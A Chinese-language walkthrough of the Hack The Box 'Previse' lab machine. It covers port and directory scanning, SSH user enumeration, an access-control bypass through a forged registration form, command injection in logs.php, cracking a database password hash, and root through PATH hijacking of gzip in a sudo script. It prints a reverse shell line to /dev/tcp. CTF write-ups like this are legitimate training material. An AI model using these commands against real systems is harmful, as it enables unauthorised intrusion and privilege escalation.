前言#
privise 靶机、随便抽取的一个 htb 靶场,看下能否做出来。
靶场链接:10.10.11.104
信息收集#
直接访问http://10.10.11.104/login.php,一个登录框。
尝试弱口令,万能密码。
端口扫描
nmap -T4 -sC -sV -p- 10.10.11.104
fscan 扫描,发现了两个端口,分别是 22 和 80 端口。
![[Pasted image 20220108200845.png]]
指纹识别
漏洞利用#
nuclei 扫描发现一个 openssh 用户枚举漏洞。
利用这个漏洞发现了 ssh 的相关账户如下:
4Dgifts
EZsetup
OpenSSH
OutOfBox
ROOT
adm
admin
administrator
anon
auditor
avahi
avahi-autoipd
backup
bbs
bin
checkfs
checkfsys
checksys
cmwlogin
couchdb
daemon
dbadmin
demo
demos
diag
distccd
dni
fal
fax
ftp
games
gdm
gnats
guest
haldaemon
halt
install
irc
kernoops
libuuid
list
listen
lpadm
lpadmin
lynx
mail
man
me
mountfs
mountfsys
mountsys
news
noaccess
nobody
nobody4
nxpgsql
operator
oracle
popr
postmaster
rfindd
saned
sshd
symop
sync
sysadm
sysadmin
syslog
system_admin
udadmin
ultra
us_admin
user
uucp
uucpadm
web
webmaster
www-data
xpopr
zabbix
目录扫描
使用 gobuster 进行目录扫描,其他的工具 ffuf,dirsearch 都没又扫到。
gobuster dir -w /p12-字典收集/web漏洞/目录fuzz/directory-list-2.3-medium.txt -u http://10.10.11.104/ -x php,html,txt
大致结果如下:
看一些状态为 200 的,可以看到有一个 nav.php,访问看看,界面如下:
直接访问这些页面会进行跳转,直接跳转到 login.php,如果用 burp 访问,则可以看到相关的页面。
为了注册一个账号,需要先将 post 请求包复制下来,然后新建一个 html 文档,action 中填写完整的请求链接,注册用户。
<form role="form" method="post" action="http://10.10.11.104/accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
利用注册好的用户登录,注册的账号为 admin1/admin123。
访问http://10.10.11.104/files.php 页面,有个压缩包下载后发现是源码文件。
源码如下
分析源码,在 logs.php 处,有命令执行漏洞。
抓包http://10.10.11.104/file_logs.php,payload 如下,nc 监听,获取到 shell。
本机 ip。
提升至交互式终端。
python3 -c "import pty;pty.spawn('/bin/bash')"
之前在源码备份文件中,发现了数据库密码。
看能否连接数据库。
mysql -uroot -p
show databases;
use previse;
select * from accounts;
这个密码是 md5 的密码,用 john 进行破解。
得到密码 ilovecody112235!。
ssh 登录 m4lwhere 账号,找到第一个 flag。
提权#
接下来需要提权至 root 用户
sudo -l
查看以 root 用户运行的文件
access_backup.sh脚本有写有执行的权限。
文件内容是
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
该文件调用 gzip 命令进行日志备份,通过这个我们可以进行提权,因为这个脚本是以 root 的身份运行的,那么我们只要掉换 gzip 命令即可。
cd /tmp
#vim gzip写入如下内容
#/bin/bash
bash -i >& /dev/tcp/10.10.16.21/1234 0>&1
#赋给权限
chmod 777 gzip
export PATH=$(pwd):$PATH
#然后执行脚本access_backup.sh
sudo /opt/scripts/access_backup.sh
成功反弹回 shell,获取 flag。